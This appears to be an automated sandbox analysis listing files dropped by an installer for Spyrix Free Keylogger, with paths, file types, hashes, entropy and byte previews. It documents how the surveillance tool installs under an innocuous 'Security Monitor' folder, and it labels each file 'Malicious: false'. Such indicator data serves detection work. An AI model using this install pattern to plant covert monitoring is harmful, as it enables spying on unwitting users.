SHA-512:	1A5AFA83529DB0B4F573D1BBC38BDA6958BE6991343E76A267516043250CE960E859560EE9433DFB93EF42CDBF97DED87CB3871057C8C746C4A75E2AAF548FD4
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......b..........................................@..........................@......$%...........@...............................;......l................!...`..\|&...........................P...............................0..&....................text............................... ..`.itext........... .................. ..`.data....{.......\|..................@....bss.....W...........\|...................idata...;.......<...\|..............@....didata.&....0......................@....tls....<....@...........................rdata.......P......................@..@.reloc..\|&...`...(..................@..B.rsrc...l...........................@..@.............P......................@..@........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5041576
Entropy (8bit):	7.897794442025251
Encrypted:	false
SSDEEP:	98304:qsV54zBHy/xGu5//Sjl9WBOo/lKCJPNKr0NPq5Csnm7vkj:Rj49SMuJ/pv9p1gEn2
MD5:	5788EF0F651292941577684F0499B114
SHA1:	81B688AE137BB2F79C44B8A22737CB1416D2C00B
SHA-256:	625BC8352D48D8F0764CAD81AEE94217D4B139DFD00E51DCAA5128F36CD20952
SHA-512:	7A71FD55F60A0B5CE82FF61381E73B38E16B495784739B0580D391FCD652A4C147FF8E558939B1AF4D085F749B6EE42C142D52037CA1BF0B61C64A49C3D2A7C3
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....<.f..................,..X................,...@...................................M..........@..........................\|...p.....5...............L..!............E.......................................................................................,......*..................@............@....,.....................@............0....,......H..............@............p... ......................@............P....0..<..................@.................0.....................@.................0.....................@.................1.....................@.................1.....................@....rsrc.........5.....................@................E...&... .............@....d....................G.............@....adata..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spyrix.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://www.spyrix.com/purchase.php?from=sfk_uninstall">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.849870364976637
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzcSL0dyTKVQXGNErnVIXKobn:HRYFVmjzjL0dyTK6XaErVI9
MD5:	7B7C177B6FA25296550B3643448FCA00
SHA1:	FA9744B1844CA32600EE661081CA6BBFD1B317D4
SHA-256:	F7B25ED414E8005EDDBBEA787FA3594C798FC7F683E77835DAA33635A395CE51
SHA-512:	5F61FF8894C530B21F7E4646798ECFA65D88FF55AF807280AA16233818E0F0043EBE6BF764C48BEA4C160EDAA3800BD9894C1BD2D01370F7200CD5E718C7B74A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://www.spyrix.com/purchase.php?from=sfk_uninstall"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826775
Entropy (8bit):	6.520580307753605
Encrypted:	false
SSDEEP:	24576:QJCoOO8Mh2X8Vy0JHfv3kDpigeLKh2R6fFQVp:QL8MFVym/kDpitLKZy
MD5:	16A1612789DC9063EBEA1CB55433B45B
SHA1:	438FDE2939BBB9B5B437F64F21C316C17CE4A7F6
SHA-256:	6DEAEC2F96C8A1C20698A93DDD468D5447B55AC426DC381EEF5D91B19953BB7B
SHA-512:	D727CE8CD793C09A8688ACCB7A2EB5D8F84CC198B8E9D51C21E2DFB11D850F3AC64A58D07FF7FE9D1A2FDB613567E4790866C08A423176216FF310BF24A5A7E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TM<W....*......!.....j.........................a.........................`.......#........ .........................................x.......................@/..................................................................................text...,i.......j..................`.P`.data................p..............@.`..rdata..............................@.`@.bss..................................`..edata...............f..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...x...........................@.0..reloc..@/.......0..................@.0B/4........... ......................@.@B/19.........0......................@..B/31..................j..............@..B/45.................................@..B/57.................................@.0B/70.....i.... ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	330752
Entropy (8bit):	6.515569416355077
Encrypted:	false
SSDEEP:	6144:67uz8VUGgQvLpVZ0hRBbV94fT5fyEH1iiDDR/WzdHAjdqqI4PFtK9S7/Q0RHK9mo:uuwUGggLpVZ0NbV9CNfyEHAiDDR/Wzdt
MD5:	CB66A1FEC9236CD46E2A3E5A00D887A5
SHA1:	531113059786F73A8C2376E08A12E62970B41E51
SHA-256:	73234A2B168E2CA92B2E09346C48FB85CF10085FAF76D7923257986B3F528E1C
SHA-512:	F5E3AD6B8FD6DCE55C0596BAF6961F86CD98598075899C02FB0B5C32FAF26FEA80C7C348C08D5D5FE41D89D61D869CF27AB230962A896D085206A895881CD926
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hN.. ... ... ...[... ..q.... ..q.... ..q.... ...!.>. ..q..>. ..q.... ..q.... ..q.... .Rich.. .........................PE..L...L*.O...........!.........b......+........................................`.........................................p$...y..<.......8.................... ..D+...................................u..@...............P............................text...P........................... ..`.rdata..@...........................@..@.data...D\.......@..................@....rsrc...8...........................@..@.reloc...1... ...2..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-34584.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-KVJM4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-N96TJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-1S4L6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9...............g.............r...w................m.............$.....Z...ud.........\|..............-(.......M5o...................h.............6{...........yu6.............w.83.........L.....>..d.........U....m...mj.......eYY~.k..{.............................w........c....................!r............p........W.........E.....ZU.......j.................................b.....Qw..D@.N......L.z......F.A...........\|..N......f.............x.........].......UQ.........................................`.....?%.w.#Y....BBB...fff............000...TTT888.....xxx.ZD.....................b.....>j....Iq...................................................@l.......~........Q..U..............4c.........._......OM.................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-IUA6J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\is-LO8O5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\tmain.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.4065994592116873
Encrypted:	false
SSDEEP:	24:4nISm6zYtefo8+9n8Qm8NUF8hxR8Y8Y82KIl:uzmIeefw9PmKx7l
MD5:	8CD9FC7BAA20456A91F3AC4DCEB36D1C
SHA1:	B40529BB8752FACB6C2BA3421FDE5670A45D58E3
SHA-256:	B9E55A391E3C165DE3B3D08C49C7695B350623E37DD71A5A051D90A027939710
SHA-512:	B271657DE4EB639C92877C3C83C0F67254A32D0BCEB48999EABDD9095D5B1804B946E4FDEA217E7BE0F7D1877AA0F9CA7AFEE69576AC9962AFBCFAECDFD1B14F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................................................................................................j...d...d...j..............................................d...p...........p...d...~...............................s...d.........................c...q..........................d.................................d......................q...t...................................y...l...................d...................d...~...................d...................d...v...u...d...d...........................d...................d...d...i..................................d...................d...................................d...d...d...................d.......................k...d...p..........d...................d..........................................d...................d...........................................d...................d...........................................d.......................n...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	InnoSetup Log Spyrix Free Keylogger 11.6.22, version 0x418, 231571 bytes, 320366\37\user\37, C:\ProgramData\Security Monitor\{827D21CC-
Category:	dropped
Size (bytes):	231571
Entropy (8bit):	4.056472997115056
Encrypted:	false
SSDEEP:	1536:lnhhviSIni3SboaS4nnVB2UJFuTEXBDNJkBrz//7LX4vTLLzLTDUbzDDLH3HEIJY:vh4i3SboaSon7JDD7KK
MD5:	36BA90B79E8E0145752D2E826524722F
SHA1:	F8AA53AA7048AD0FEA380BFCF91DF4D08783096A
SHA-256:	BCD22D84872A9EBC302439B3513617D2E2B3EC4F1939BB3FF2CDC192AC8CD547
SHA-512:	9EBD4EED7B93921BCC2A0147BD12D7DFE17B1F91690E4E06F49A1325F631C12000BAC30ED74CDF2A27EED5E5F8AA89267765302FE97710D5F73F25944EAE3EC5
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Spyrix Free Keylogger...........................................................................................................Spyrix Free Keylogger 11.6.22...............................................................................................................%...............................................................................................................GQE............................3.2.0.3.6.6......h.u.b.e.r.t..t...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.S.e.c.u.r.i.t.y. .M.o.n.i.t.o.r.\.{.8.2.7.D.2.1.C.C.-.A.2.2.D.-.4.5.D.6.-.2.3.C.A.-.4.5.1.D.D.A.C.7.6.9.B.A.}..................#.... .....r....hK..IFPS....d.......A.......................................................................................................................................................BOOLEAN...................................................!............"........#................"........%........&.................... ...$...'.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1308909
Entropy (8bit):	6.226978823759581
Encrypted:	false
SSDEEP:	24576:8tdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9KJ:kqTytRFk6ek14hk
MD5:	E7AB51FCD6A4B56B17A6D7019743346A
SHA1:	0AC79F07195B6D6C25D64864C762E5910D8DC52F
SHA-256:	3BA57A14C77AD692AD21D6502ED32A9FFD1E23CF908F70A4E3E13635DEBED246
SHA-512:	1F2CAA370B45ACCEF65E1863EEC48D02395349D44FDED44E9FE3652F5CDA05A3DC271295550EC9905826F964D20E9774793DACA0937F5D79308154E060AFD808
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Reputation:	unknown
